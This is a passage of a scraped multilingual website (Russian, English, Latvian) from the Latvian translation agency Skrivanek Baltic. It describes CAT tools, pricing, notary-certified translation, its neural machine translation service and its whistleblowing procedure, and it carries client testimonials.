присланного клиентом файла; если переводимый документ неразборчивый (например, сканированные файлы в формате PDF). При использовании CAT-инструментов стоимость перевода рассчитывается на основании анализа документа. Анализ обнаруживает в тексте повторения, а также полные либо частичные совпадения с имеющейся накопленной памятью переводов. Важно отметить, что совпадения выявляются не на уровне отдельных слов, а на уровне предложений, т. е. весь документ анализируется по предложениям и сопоставляется с другими предложениями данного документа, а также ранее накопленными в памяти переводов. Слишком сложно? Отправьте нам текст с просьбой провести анализ каким-либо CAT-инструментом, и руководитель проектов охотно вышлет вам анализ и ответит на все вопросы. Будем рады встретиться с вами лично, чтобы вместе выбрать наиболее подходящий вам CAT-инструмент. Повторения – это предложения, которые встречаются в одном документе два и больше раз. Переведя такое предложение один раз, повторно это делать не потребуется. Согласно нашему опыту, таких предложений больше всего в руководствах пользователя, юридических документах, годовых отчетах, договорах, описаниях лекарственных препаратов и других типовых текстах. Помимо повторений анализируются и различные совпадения. Программы для работы с памятью переводов способны упростить работу с текстами практически из любой отрасли, особенно если клиенту известно, что заказы такой или аналогичной тематики потребуется переводить и в дальнейшем. Чаще всего программы для работы с памятью переводов используются для перевода типовых юридических, финансовых текстов (годовых отчетов), а также технических текстов (технических описаний, инструкций, руководств пользователя) и документации лекарственных препаратов. Кроме того, CAT-инструменты эффективны при переводе различных интернет-страниц, поскольку хорошо совместимы с XML, HTML и другими форматами интернет-платформ. Для перевода CAT-инструментами пригодны и файлы MS Office, а также простые текстовые файлы (*. txt). Как правило, переводить документы в формате PDF с помощью CAT-инструментов нельзя, однако их можно подготовить к переводу, подвергнув специальной обработке. Программы автоматического перевода разработаны для того, чтобы как можно быстрее понять значение переводимого слова, предложения или фразы, которое пользователь узнает, вводя текст в окно программы. Самые популярные программы автоматического перевода, которые также называют программами машинного перевода, это: Google Translate, Bing Translator, Pragma, Promt и др. В последние годы машинный перевод стремительно развивается, однако пока не может полностью заменить работу человека. И все же у машинного перевода есть будущее в отдельных отраслях, что не отрицают и разработчики инструментов перевода (CAT), предусматривающие подключение к своим программам функции машинного перевода. В настоящий момент машинный перевод не способен обеспечить высококачественный результат без вмешательства человека, поэтому качественные переводы все еще можно получить только от профессиональных переводчиков, которые наряду с корректорами и другими специалистами работают на профессиональных лингвистических предприятиях. КАКИЕ CAT-ПРОГРАММЫ МЫ ИСПОЛЬЗУЕМ? Мы используем самые современные и популярные в мире на данный момент программы: Memsource; SDL Trados; Across; Transit NXT; Wordfast Pro; MemoQ; Crowdin; и др. НЕОБХОДИМ ПЕРЕВОД? ИЩЕТЕ ЯЗЫКОВОЕ РЕШЕНИЕ ИЛИ ЭКСПЕРТА, КОТОРЫЙ МОЖЕТ ДАТЬ СОВЕТ? Мы подготовим для вас предложение и предоставим консультацию. Отправить запрос УЖЕ БОЛЕЕ 25 ЛЕТ НА РЫНКЕ! Мы имеем богатый опыт перевода текстов на различные темы. 0+ Языков в различных комбинациях 0+ млн Слов переведено в 2023 году 0+ Специалистов по различным языкам 0 Сертификата ISO ЧТО НАШИ КЛИЕНТЫ ГОВОРЯТ О НАС Jazz Communications Мы сотрудничаем со Skrivanek Baltic уже несколько лет. Чаще всего нам бывает необходим письменный перевод на латышский, русский и английский, однако приходилось заказывать переводы и на более редкие языки: арабский, эстонский и т. д. Кроме того, мы регулярно пользуемся услугами литературных редакторов, корректоров и копирайтеров латышских текстов. О нашем сотрудничестве остаются только приятные впечатления: руководители проектов (контактные лица) всегда оперативны, отзывчивы и конструктивны, а ценовая политика ясна, открыта и приемлема.  Прокуратура Латвийской Республики Служба административного директора Компания Skrivanek Baltic зарекомендовала себя как профессиональный, надежный партнер, предоставляющий качественные услуги. В рамках сотрудничества у нас не было ни одной претензии относительно работы Skrivanek Baltic, все рабочие вопросы решаются оперативно, общение пронизано взаимопониманием.  Служба государственных доходов Сотрудники Skrivanek Baltic отзывчивы и всегда готовы пойти навстречу. Заказы обрабатываются быстро и качественно, специфическая терминология Службы государственных доходов используется как в переводах юридических текстов, так и при работе с текстами, которые связаны с налоговой и таможенной политикой.  Рижская дума Департамент городского развития Мы очень позитивно оцениваем наше сотрудничество. Skrivanek Baltic − надежный, отзывчивый партнер с превосходными организаторскими способностями. До сих пор наша совместная работа была приятной и успешной − за это, в частности, хотелось бы поблагодарить любезных сотрудников компании, всегда готовых пойти навстречу.  Государственное агентство социального страхования Департамент пенсий отдела международных услуг Компания Skrivanek Baltic зарекомендовала себя как надежный профессиональный партнер, строго следящий за качеством услуг: переводы с использованием отраслевой терминологии выполняются на должном уровне.  --- > Send us your documents, and we will provide you a quote on the service price before beginning the translation. - Published: 2020-04-14 - Modified: 2025-07-02 - URL: https://skrivanek.lv/pakalpojumi/tulkosanas-cenas/ - Translation Priorities: Optional Our company’s translation prices are calculated based on the number of words in the source language document (in the original). We will establish a price for the specific project in advance, as well as agree on a mutually convenient execution deadline. For the most popular language combinations (Latvian, Russian, German, and English), the price of the written translation services already includes proofreading by a native speaker. The price of the written translation and interpreting is affected by the execution deadline of the order. In case of urgent orders, higher project costs must be considered, regarding which our project managers will inform you immediately. The price of written translations and interpreting is not affected by the specifics or complexity of the industry! We will be glad to find out about the project you need – after receipt of your request, we will immediately prepare and send our cost calculation and execution deadline! For corporate clients placing translation orders, we offer a 5% discount on language training for the company’s employees! Our project managers will inform you about any other discounts, as well as any possibility to conclude a confidentiality agreement or a cooperation agreement! PRICE CALCULATION The unit of the price calculation is the number of words in the source language. The exact number of words can be determined using Wordcount ( Tools / Wordcount / Words ) for the documents available in electronic format. Calculation formula of the price for written translations: translation price per word x number of words in the source language = price per order (excluding VAT). The above-mentioned price calculation does not apply to translations intended for certification by a notary. PAYMENT PROCEDURE We offer legal entities the opportunity to enter into a cooperation agreement, within which we can provide the following payment terms: when placing an order with our company for the first time, the customer receives the order only after payment of the invoice; post-payment with an invoice after each project (usually we recommend this option for large projects); post-payment with an invoice for the period (usually we recommended this for customers with a large number of small orders); post-payment with an invoice once a month. We offer corporate clients and individuals the opportunity to pay invoices with payment cards, in cash at our office, by PayPal, or by bank transfer. IN NEED OF A TRANSLATION? Send inquiry OR CALL (+371) 67 240 364 We will prepare an offer in short time and provide you with a consultation. Receiving a free quote does not give you any obligation to cooperate with us. RELIABILITY, SPEED AND QUALITY OF SERVICES KRKA d. d. The employees of Skrivanek are helpful, accommodating, and have an understanding approach to the specifics of our pharmaceutical translation tasks and translations from various language combinations. Orders are executed to a high standard in accordance with the highest professional and ethical competence and according to deadlines set.  Sandoz d. d. We recommend Skrivanek Baltic as a reliable partner for any large scale projects requiring professional language services.  Adidas Baltics The employees of Skrivanek are helpful and have an understanding approach to the specifics of our translation tasks from Baltic languages. Adidas Baltic recommends other companies to use the services provided by this company.  MORE THAN 30 YEARS ON THE MARKET! We have vast experience in translating texts on various subjects. 0+ Languages in different combinations 0+ million Words translated in 2024 0+ Language specialists 0 ISO certificates --- > Notary-certified translations. Documents are verified by a sworn notary, a sworn translator takes full responsibility for the translations. - Published: 2020-04-14 - Modified: 2025-07-03 - URL: https://skrivanek.lv/pakalpojumi/rakstiskie-tulkojumi/notariali-apliecinats-tulkojums/ - Translation Priorities: Optional WHY CHOOSE OUR NOTARY-CERTIFIED TRANSLATIONS? Professionalism and experience – Skrivanek Baltic is a certified translation agency with more than 30 years of experience. Our qualified translators provide accurate and high-quality translations. Wide range of languages – We offer notarised translations in more than 110 languages. This gives our clients a wide range of options and flexibility. Wide format support – pdf, jpg, idml, json or html – it doesn’t matter. With the help of our DTP – desktop publishing specialists, we provide text processing in various file extensions. So you don’t have to worry about processing your documents. Tailored services – we offer different types of notary-certified translations, depending on the client’s needs. In addition, we provide courier delivery of documents throughout Latvia. NOTARY-CERTIFIED TRANSLATION A notary-certified translation is a translation that has been verified by a sworn translator’s signature, which in turn has been verified by a notary public. The need for these kinds of translations is set out in various laws and regulations. In practice, a sworn notary verifies the translator’s education and qualification to perform the translation, as well as warns regarding the translator’s liability for deliberately false and/or incorrect translation in accordance with Sections 300 and 302 of the Criminal Law of the Republic of Latvia. WHAT ARE TRANSLATIONS CERTIFIED BY SKRIVANEK AGENCY? If you do not need to have the translation notarially certified, but need an official confirmation of the accuracy of the translation, we recommend you choose a translation with Skrivanek certification. A translation certified by a bureau or a translator is made in accordance with Cabinet Regulation No. 291 “Procedures for the Certification of Document Translations in the Official Language”. This means that the translation is accompanied by a written statement that the translation has been carried out by a professional translator in a translation agency, thereby certifying that the translation is correct, accurate and corresponds to the original. Translations with a translation agency's certification are most often ordered by clients for official documents, for submission to courts, state or local authorities. Please note! A notarially certified translation or a translation of a document with an agency certification is often mistakenly called a sworn translation or a translation of a document signed by a sworn translator. It is important to remember that there is no “sworn translator” status in Latvia and the term “sworn translation” is used incorrectly. In this case, a notarially certified translation certified by a sworn notary or a translation of a document certified by an agency and signed by the translator of the document in question is required. The translator's signature certifies and confirms that the translation is correct and corresponds to the original. This certification will attached to the copy or original document together with the translation. DO YOU NEED A NOTARY-CERTIFIED TRANSLATION? We will prepare a tailored solution and consult you on your subject of interest. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit Or book an online consultation for notary-certified or agency-certified translations now! TYPES OF CERTIFICATION FOR A TRANSLATION Certification to the original document: a translation certified by a qualified translator and signed by a notary is sewn to the original document. Certification to the copy: a photocopy of the original document is taken, to which a translation certified by a qualified translator in the relevant language is sewn; a photocopy with a translation shall be certified by a notary only when the original document is presented. If there is no need for a notary-certified translation, we offer to certify correctness of our translations with the office seal. Skrivanek Baltic offers notary-certified translations in the following languages. CERTIFICATION OF CORRECTNESS OF THE FIRST TRANSLATION COUNTERPART UP TO 10 PAGES, WITH THE OFFICE SEAL, ONLY EUR 5. 00 + VAT! CORPORATE CLIENTS WHO NEED A NOTARY-CERTIFIED TRANSLATION CAN: submit and receive documents at the Skrivanek Baltic office in Riga; receive the notary-certified translation at the notary’s office in the centre of Riga; have the documents delivered by courier throughout Latvia (to find out the cost of the service, please contact us). Please call (+371) 67 240 364 or send an e-mail to birojs@skrivanek. lv to agree on the most convenient solution for you. WE PROVIDE NOTARY-CERTIFIED TRANSLATIONS IN MORE THAN 110 LANGUAGES Czech Language Danish Language Estonian Language Finnish Language French Language German Language Greek Language Italian Language Lithuanian Language Norwegian Language Polish Language Russian Language Spanish Language Swedish Language Other Languages RELIABILITY, SPEED AND QUALITY OF SERVICES KRKA d. d. The employees of Skrivanek are helpful, accommodating, and have an understanding approach to the specifics of our pharmaceutical translation tasks and translations from various language combinations. Orders are executed to a high standard in accordance with the highest professional and ethical competence and according to deadlines set.  Sandoz d. d. We recommend Skrivanek Baltic as a reliable partner for any large scale projects requiring professional language services.  Adidas Baltics The employees of Skrivanek are helpful and have an understanding approach to the specifics of our translation tasks from Baltic languages. Adidas Baltic recommends other companies to use the services provided by this company.  --- > Skrivanek NMT has been developed using the 30-year-long experience and expertise of the Skrivanek team in the translation industry. - Published: 2020-03-17 - Modified: 2025-07-03 - URL: https://skrivanek.lv/masintulkosana-uznemumiem/ - Translation Priorities: Optional NEURAL MACHINE TRANSLATION – SKRIVANEK NMT 1 Need to translate an extremely large text in a very short time? Can’t get a translation project done in the available time frame? Proposed translation deadline too long? OUR SOLUTION IS SKRIVANEK NMT Skrivanek NMT has been developed using the 30-year-long experience and expertise of the Skrivanek team in the translation industry. A neural machine translator works on a similar principle to the neurons in the human brain. Skrivanek NMT was worked on not only by Skrivanek language specialists, but also academics and experts of various fields. WE OFFER SEVERAL TYPES OF MACHINE TRANSLATION SERVICES: automated machine translation without post-editing; automated machine translation with basic post-editing; automated machine translation with full post-editing, which is equivalent to a human translation. We recommend using automated machine translation without post-editing in order to save time and expenses for translating extremely large common and standardised documents in a very short time. If the translation is destined for use in communication with clients, partners, or colleagues, we suggest considering automated machine translation with basic or full post-editing, which would be done by a native speaker of the target language or an expert in the relevant field. Documents and texts that are destined for publishing or printing, as well as specialised and complex industry texts are always recommended to be entrusted to professional translators and editors. WHAT IS POST-EDITING? Post-editing is the reviewing of an automated machine translation performed by a native speaker. We offer two types of post-editing services: basic post-editing, which aims to eliminate grammatical errors and grave contextual and stylistic mistakes in the text. The result is content that is easy to read and understand; full post-editing, which means that the text is revised and corrected in order to be of an equivalent quality to a human translation, not only reflecting the main idea of the original text, but also delving into the specifics of industry terminology and the use of linguistic means. HOW DOES MACHINE TRANSLATION WORK? Neural machine translation, or NMT, is a brand new development in the field of language technologies. Neural machine translation relies on artificial neural network algorithms, which, similarly to the human brain, are able to analyse text on all linguistic levels: phonetic, lexical, morphological and syntactic, accurately detecting sentence boundaries and identifying the need for capitalisation. Such neural machine translation technologies are gaining popularity all over the world as they ensure higher translation efficiency and better quality in comparison to earlier machine translation technologies. THE ADVANTAGES OF SKRIVANEK NMT: a highly timesaving solution, as the translation project can be delivered on the same day. For example, a translation of 50 pages would require 3-5 translators to finish it in a single day, whereas with Skrivanek NMT it could be translated within two hours; we offer an automated machine translation without post-editing free of charge for documents of a few pages; information security and confidentiality, as Skrivanek servers are in a secure location and can only be accessed by specially authorised personnel; tested data exchange between servers; a lower price when compared to traditional translation; the possibility to combine machine translation with computer aided translation tools – CAT; preserved text formatting (font, tables, colours, table of contents); the opportunity to have a customised NMT solution for the company, taking its industry and specialisation into account; post-editing services. DISADVANTAGES OF SKRIVANEK NMT: The NMT solution is not intended for all sectors, file formats and texts. ask our specialists if your projects can be implemented using the SKRIVANEK NMT, It's hard to translate texts, give back nuances in humorous texts, The text may lose liquidity and the relevant wording.   * In some cases, in order for the customer to use the SKRIVANEK NMT, it will be necessary to pre-edit or prepare a file for NMT. FREQUENTLY ASKED QUESTIONS Skrivanek NMT translates 1200 words, or about five pages, per second. The time required for preparing the project and for implementing it must be taken into account. The fastest and most convenient way is to contact Skrivanek specialists, who will gladly explain if neural machine translation technology is the right solution for your translation project. They will evaluate whether automated machine translation without post-editing could be an optimal solution or, alternatively, invite you to opt for machine translation with full post-editing and checking. There are some standard questions that can help you choose the right service: who will be the reader of the translation? is the translation destined for publishing or printing? is the content only to be understood generally? to what extent is the text industry specific? It is always important to understand what neural machine translation technologies can do and what they are not yet capable of. In cases when only the main idea of the text needs to be grasped, it is perfectly acceptable to choose machine translation. Machine translation with full post-editing is equivalent to a human translation. Skrivanek NMT is available in the following language combinations: Polish-English, English-Polish; German-English, English-German; French-English, English-French; English-Finnish, English-Czech, Polish-Russian; and others. Machine translation (MT) and computer aided translation tools (CAT) are two different translation solutions: machine translation is computer generated; computer aided translation tools facilitate the translator’s work by selecting segments in the document that have previously been translated and approved. The final price depends on the delivery time, file format, amount of text to be translated, field, and any additional services, resulting in each order being evaluated individually. DO YOU NEED MACHINE TRANSLATION? LOOKING FOR A LANGUAGE SOLUTION OR A CONSULTATION? We will prepare a tailored solution and consult you on your subject of interest. Send inquiry MORE THAN 30 YEARS ON THE MARKET! We have vast experience in translating texts on various subjects. 0+ Languages in different combinations 0+ million Words translated in 2024 0+ Language specialists 0 ISO certificates RELIABILITY, SPEED AND QUALITY OF SERVICES KRKA d. d. The employees of Skrivanek are helpful, accommodating, and have an understanding approach to the specifics of our pharmaceutical translation tasks and translations from various language combinations. Orders are executed to a high standard in accordance with the highest professional and ethical competence and according to deadlines set.  Sandoz d. d. We recommend Skrivanek Baltic as a reliable partner for any large scale projects requiring professional language services.  Adidas Baltics The employees of Skrivanek are helpful and have an understanding approach to the specifics of our translation tasks from Baltic languages. Adidas Baltic recommends other companies to use the services provided by this company.  --- > SIA Skrivanek Baltic contact person in whistleblowing matters is Jeļena Lapoška, the Head of the Administrative Department. - Published: 2020-03-17 - Modified: 2023-01-12 - URL: https://skrivanek.lv/trauksmes-celsana/ - Translation Priorities: Optional SIA Skrivanek Baltic contact person in whistleblowing matters is Jeļena Lapoška, the Head of the Administrative Department. Phone: +371 67240364 Email address: trauksme@skrivanek. lv (the preferred way for submitting whistleblowing reports) In the event of whistleblowing, confidentiality is ensured. A reply to the received report will be prepared within two weeks of receiving it. An acknowledgment of receipt will be sent within 3 business days. Anonymous reports, anonymous emails, or anonymous phone calls are not considered whistleblowing reports. If SIA Skrivanek Baltic finds that the question under consideration is not in their competence, the report will be forwarded to a competent authority. THE WHISTLEBLOWER HAS THE RIGHT TO BLOW THE WHISTLE ON THE FOLLOWING VIOLATIONS: corruption and fraud; violation of binding ethical or professional norms; failure to act or negligence of officials, or abuse of the official position by them; violation in the field of public procurement; squandering of financial resources or property of a public person; public health threat; environmental safety threat; labour safety threat; violation of human rights; violation of competition rights; and other cases referred to in the Whistleblowing Law. WHAT IS NOT REGARDED AS WHISTLEBLOWING? Deliberate provision of false information, disclosure of information containing an official secret, and reporting only on infringements of personal interests. If a person has submitted the submission without indicating that it is a whistleblower’s report, then, before the submission has been examined on its merits, the person can request to recognise this submission as a whistleblower’s report. ONE OF THE FOLLOWING MECHANISMS MAY BE USED TO BLOW THE WHISTLE: internal whistleblowing system; turning to a competent authority; through the intermediation of the contact point, association, or foundation of whistleblowers, including a trade union or an association thereof. The internal whistleblowing procedure has been prepared on the basis of the Whistleblowing Law. The purpose of the Whistleblowing Law is to promote whistleblowing on violations in the public interest and to ensure the establishment and operation of whistleblowing mechanisms, as well as the due protection of whistleblowers. --- > В случае нарушений, вы можете обратиться к нашему контактному лицу по вопросам, связанным с осведомлением о нарушениях. - Published: 2020-03-17 - Modified: 2023-01-24 - URL: https://skrivanek.lv/trauksmes-celsana/ - Translation Priorities: Optional Контактное лицо общества с ограниченной ответственностью SIA Skrivanek Baltic по вопросам, связанным с осведомлением о нарушениях, – руководитель Административного отдела Елена Лапошка (Jeļena Lapoška). Тел. : +371 67240364 Электронный адрес: trauksme@skrivanek. lv (рекомендуемый осведомителю способ отправки сообщения). В случае отправки сообщения осведомителю обеспечивается конфиденциальность. Ответ на полученное сообщение подготавливается не позднее двух недель после получения сообщения. Подтверждение получения сообщения предоставляется в течение 3 рабочих дней. Сообщением осведомителя не считается анонимное заявление, анонимное электронное письмо или анонимный телефонный звонок. Если SIA Skrivanek Baltic обнаружит, что рассмотрение вопроса не входит в его компетенцию, сообщение будет перенаправлено в компетентное учреждение. ОСВЕДОМИТЕЛЬ ВПРАВЕ СООБЩИТЬ О СЛЕДУЮЩИХ НАРУШЕНИЯХ: коррупция и мошенничество; нарушения этических или профессиональных норм; бездействие, халатность или злоупотребление служебным положением со стороны должностных лиц; нарушения в области публичных закупок; растрата финансовых средств или имущества публичного лица; угроза общественному здоровью; угроза безопасности окружающей среды; угроза безопасности труда; нарушения прав человека; нарушения конкурентного права и другие случаи, упомянутые в законе «Об осведомлении». ЧТО НЕ СЧИТАЕТСЯ ОСВЕДОМЛЕНИЕМ? Предоставление заведомо ложных сведений, разглашение информации, содержащей государственную тайну, и сообщение об ущемлении исключительно личных интересов. Податель заявления, не указавший, что оно является сообщением осведомителя, может просить признать данное заявление сообщением осведомителя, пока заявление еще не рассмотрено по существу. ДЛЯ ПОДАЧИ СООБЩЕНИЯ ОСВЕДОМИТЕЛЯ МОЖНО ИСПОЛЬЗОВАТЬ ОДИН ИЗ СЛЕДУЮЩИХ МЕХАНИЗМОВ: внутренняя система осведомления; обращение в компетентное учреждение; посредничество контактной точки осведомителей либо товарищества или учреждения, включая профсоюзы или их объединения. Внутренняя процедура осведомления разработана в соответствии с законом «Об осведомлении». Цель закона «Об осведомлении» заключается в том, чтобы в интересах общества способствовать осведомлению о нарушениях, а также обеспечить создание и функционирование механизмов осведомления и надлежащую защиту осведомителей. --- > Skrivanek NMT – отличное решение для выполнения перевода в сжатые сроки. Мы предлагаем качественный машинный перевод разных видов. - Published: 2020-03-17 - Modified: 2024-01-03 - URL: https://skrivanek.lv/masintulkosana-uznemumiem/ НЕЙРОННЫЙ МАШИННЫЙ ПЕРЕВОД – SKRIVANEK NMT 1 Вам нужно перевести очень большой текст в сжатые сроки? Не успеваете выполнить проект перевода в отведенный для этого срок? Предложенный срок выполнения перевода слишком долгий? У НАС ЕСТЬ РЕШЕНИЕ – SKRIVANEK NMT При разработке Skrivanek NMT использовался 25-летний опыт работы команды Skrivanek и накопленные знания в области перевода. Нейронный машинный переводчик работает по такому же принципу, что и нейроны головного мозга человека. Над разработкой инструмента Skrivanek NMT трудились не только лингвисты Skrivanek, но и академики и эксперты из различных отраслей. МЫ ПРЕДЛАГАЕМ НЕСКОЛЬКО ВИДОВ МАШИННОГО ПЕРЕВОДА: автоматизированный машинный перевод без постредактирования; автоматизированный машинный перевод с базовым постредактированием; автоматизированный машинный перевод с полным постредактированием – перевод, равноценный выполненному человеком. Мы советуем использовать автоматизированный машинный перевод без постредактирования, чтобы сэкономить время и деньги, когда в сжатые сроки необходимо перевести большой объем типовых и стандартных документов. Если же перевод планируется использовать в общении с клиентами, деловыми партнерами или коллегами, рекомендуем выбрать автоматизированный машинный перевод с базовым или полным постредактированием, которое будет выполнено носителем целевого языка или проверено экспертом в соответствующей отрасли. Перевод текстов и документов, предназначенных для публикации или печати, а также специализированной и сложной отраслевой тематики мы всегда советуем поручать профессиональным переводчикам и редакторам. ЧТО ТАКОЕ ПОСТРЕДАКТИРОВАНИЕ? Постредактирование – это проверка автоматизированного машинного перевода специалистом, для которого данный язык является родным. Мы предлагаем два вида постредактирования: базовое постредактирование, при котором в тексте устраняются грамматические, грубые семантические и стилистические ошибки. Полученный текст достаточно легко воспринимается и вполне понятен; полное постредактирование – текст проверяется и исправляется до тех пор, пока не станет равноценным переводу, выполненному человеком, отражая не только суть оригинального текста, но и всю глубину специфики отраслевой терминологии, и используя широкий спектр выразительных средств языка. КАК РАБОТАЕТ МАШИННЫЙ ПЕРЕВОД? Технология нейронного машинного перевода, или NMT, – это совершенно новое решение в развитии языковых технологий. При нейронном машинном переводе используются алгоритмы искусственных нейронных сетей, которые подобно человеческому мозгу способны анализировать текст на всех уровнях языка – фонетическом, лексическом, морфологическом и синтаксическом, например, точно определяют границы предложений в тексте или правильное употребление прописных и строчных букв. Популярность таких технологий нейронного машинного перевода постоянно растет во всем мире, поскольку они обеспечивают более высокую эффективность и качество перевода по сравнению с более старыми технологиями. ПРЕИМУЩЕСТВА SKRIVANEK NMT: существенная экономия времени – выполнение проекта перевода возможно уже в тот же день. К примеру, чтобы перевести 50 страниц за день, необходимо задействовать 3–5 переводчиков, используя же Skrivanek NMT, перевод можно выполнить за два часа; предлагаем бесплатно выполнить автоматизированный машинный перевод нескольких страниц текста без постредактирования; безопасность и конфиденциальность информации – серверы Skrivanek находятся в надежном месте, доступ к которому имеет только уполномоченный персонал; обмен данными между серверами проверяется; более низкая стоимость по сравнению с традиционным переводом; возможность совмещать машинный перевод с компьютеризованными инструментами перевода – САТ; сохранение форматирования текста (шрифт, таблицы, цвета, предметный указатель); возможность создать индивидуальное решение NMT для конкретного предприятия с учетом его отрасли и специализации; доступность услуг постредактирования. НЕДОСТАТКИ НЕЙРОННОГО МАШИННОГО ПЕРЕВОДА: решение нейронного машинного перевода не рекомендуется использовать для перевода маркетинговых, рекламных или креативных текстов; не все виды файлов можно перевести; мы предлагаем решение Skrivanek NMT только в тех языковых комбинациях, качество разработки которых относительно NMT считаем достаточно высоким. Подробнее о Skrivanek NMT спрашивайте у наших специалистов; машинный перевод может не быть благозвучным, легко читаемым и воспринимаемым. может потребоваться дополнительное время на подготовку файлов к переводу. ЧАСТО ЗАДАВАЕМЫЕ ВОПРОСЫ Skrivanek NMT переводит 1200 слов, или приблизительно пять страниц в секунду. Необходимо считаться с тем, что на подготовку и выполнение проекта потребуется время. Самый быстрый и удобный способ это выяснить – обратиться к специалистам Skrivanek, которые охотно объяснят, подойдет ли технология нейронного машинного перевода для вашего проекта. Они оценят, станет ли автоматизированный машинный перевод без постредактирования оптимальным решением для вас, или предложат выбрать машинный перевод с полным постредактированием и проверкой. Правильно выбрать услугу вам помогут стандартные вопросы: Кто будет адресатом (читателем) перевода? Предназначен ли перевод для публикации, печати? Содержание текста необходимо понять только в общем виде? Насколько специализирован переводимый материал? Всегда важно понимать, на что способны технологии нейронного машинного перевода, а что им пока еще не по силам. Если необходимо понять суть текста, машинный перевод – вполне приемлемый выбор. Машинный перевод с полным постредактированием равноценен переводу, выполненному человеком. Мы предлагаем Skrivanek NMT в следующих языковых комбинациях: польский–английский, английский–польский; немецкий–английский, английский–немецкий; французский–английский, английский–французский; английский–финский, английский–чешский, польский–русский; и другие. Машинный перевод (MT) и компьютеризированные инструменты перевода (CAT) – это два разных решения: машинный перевод создается компьютером; компьютеризированные инструменты перевода облегчают работу переводчиков, находя в переводимом материале ранее переведенные и утвержденные сегменты. Окончательная цена будет зависеть от срока выполнения, формата файлов, объема переводимого текста, области знаний и дополнительных услуг, поэтому каждый заказ оценивается индивидуально. НЕОБХОДИМ ПЕРЕВОД? ИЩЕТЕ ЯЗЫКОВОЕ РЕШЕНИЕ ИЛИ ЭКСПЕРТА, КОТОРЫЙ МОЖЕТ ДАТЬ СОВЕТ? Мы подготовим для вас предложение и предоставим консультацию. Отправить запрос УЖЕ БОЛЕЕ 25 ЛЕТ НА РЫНКЕ! Мы имеем богатый опыт перевода текстов на различные темы. 0+ Языков в различных комбинациях 0+ млн Слов переведено в 2023 году 0+ Специалистов по различным языкам 0 Сертификата ISO ЧТО НАШИ КЛИЕНТЫ ГОВОРЯТ О НАС Jazz Communications Мы сотрудничаем со Skrivanek Baltic уже несколько лет. Чаще всего нам бывает необходим письменный перевод на латышский, русский и английский, однако приходилось заказывать переводы и на более редкие языки: арабский, эстонский и т. д. Кроме того, мы регулярно пользуемся услугами литературных редакторов, корректоров и копирайтеров латышских текстов. О нашем сотрудничестве остаются только приятные впечатления: руководители проектов (контактные лица) всегда оперативны, отзывчивы и конструктивны, а ценовая политика ясна, открыта и приемлема.  Прокуратура Латвийской Республики Служба административного директора Компания Skrivanek Baltic зарекомендовала себя как профессиональный, надежный партнер, предоставляющий качественные услуги. В рамках сотрудничества у нас не было ни одной претензии относительно работы Skrivanek Baltic, все рабочие вопросы решаются оперативно, общение пронизано взаимопониманием.  Служба государственных доходов Сотрудники Skrivanek Baltic отзывчивы и всегда готовы пойти навстречу. Заказы обрабатываются быстро и качественно, специфическая терминология Службы государственных доходов используется как в переводах юридических текстов, так и при работе с текстами, которые связаны с налоговой и таможенной политикой.  Рижская дума Департамент городского развития Мы очень позитивно оцениваем наше сотрудничество. Skrivanek Baltic − надежный, отзывчивый партнер с превосходными организаторскими способностями. До сих пор наша совместная работа была приятной и успешной − за это, в частности, хотелось бы поблагодарить любезных сотрудников компании, всегда готовых пойти навстречу.  Государственное агентство социального страхования Департамент пенсий отдела международных услуг Компания Skrivanek Baltic зарекомендовала себя как надежный профессиональный партнер, строго следящий за качеством услуг: переводы с использованием отраслевой терминологии выполняются на должном уровне.  --- > Skrivanek NMT – piemērots risinājums liela apjoma satura tulkošanai, kas paredzēts iekšējām vajadzībām. Mašīntulkošana ar pēcrediģēšanu - Published: 2020-03-10 - Modified: 2025-07-07 - URL: https://skrivanek.lv/masintulkosana-uznemumiem/ - Translation Priorities: Optional NEIRONU MAŠĪNTULKOŠANA – SKRIVANEK NMT 1 Jums ļoti īsā laikā ir jāpārtulko sevišķi apjomīgs teksts? Nevarat pagūt īstenot tulkošanas projektu tam atvēlētajā laikā? Piedāvātais tulkojuma izpildes termiņš ir pārāk ilgs? MUMS IR RISINĀJUMS – SKRIVANEK NMT Skrivanek NMT ir izstrādāts, ņemot vērā Skrivanek komandas 25 gadus ilgo pieredzi un zināšanas tulkošanas nozarē. Neironu mašīntulkotājs darbojas pēc līdzīga principa kā cilvēka smadzeņu neironi. Pie Skrivanek NMT rīka attīstīšanas ir strādājuši ne tikai Skrivanek valodu speciālisti, bet arī akadēmiķi un dažādu nozaru eksperti. PIEDĀVĀJAM VAIRĀKUS MAŠĪNTULKOŠANAS VEIDUS: automatizētu mašīntulkojumu bez pēcrediģēšanas; automatizētu mašīntulkojumu ar pamata pēcrediģēšanu; automatizētu mašīntulkojumu ar pilnu pēcrediģēšanu – tulkojums ir līdzvērtīgs cilvēka veiktam tulkojumam. Automatizētu mašīntulkojumu bez pēcrediģēšanas iesakām izmantot nolūkā taupīt laiku un izmaksas tipveida un standartizētu sevišķi liela apjoma dokumentu tulkojumiem ļoti īsā laikā. Ja tulkojumu ir paredzēts izmantot saziņā ar klientiem, sadarbības partneriem vai kolēģiem iesakām apsvērt automatizētu mašīntulkojumu ar pamata vai pilnu pēcrediģēšanu, ko veiks mērķa valodas dzimtās valodas runātājs vai pārskatīs attiecīgās nozares eksperts. Publicēšanai vai drukai paredzētus tekstus un dokumentus, kā arī specializētus un komplicētus nozaru tekstus vienmēr iesakām uzticēt profesionāliem tulkotājiem un redaktoriem. KAS IR PĒCREDIĢĒŠANA? Pēcrediģēšana ir automatizētā mašīntulkojuma pārskatīšana, ko veic dzimtās valodas runātājs. Piedāvājam divus pēcrediģēšanas veidus: pamata pēcrediģēšanu – tās mērķis ir novērst tekstā gramatikas, rupjas nozīmes un stila kļūdas. Rezultātā tiek iegūts pietiekami viegli uztverams un saprotams saturs; pilnu pēcrediģēšanu – teksts tiek pārskatīts un labots tā, lai tas ir līdzvērtīgs cilvēka veiktam tulkojumam, atspoguļojot ne tikai oriģinālteksta būtību, bet arī iedziļinoties nozares 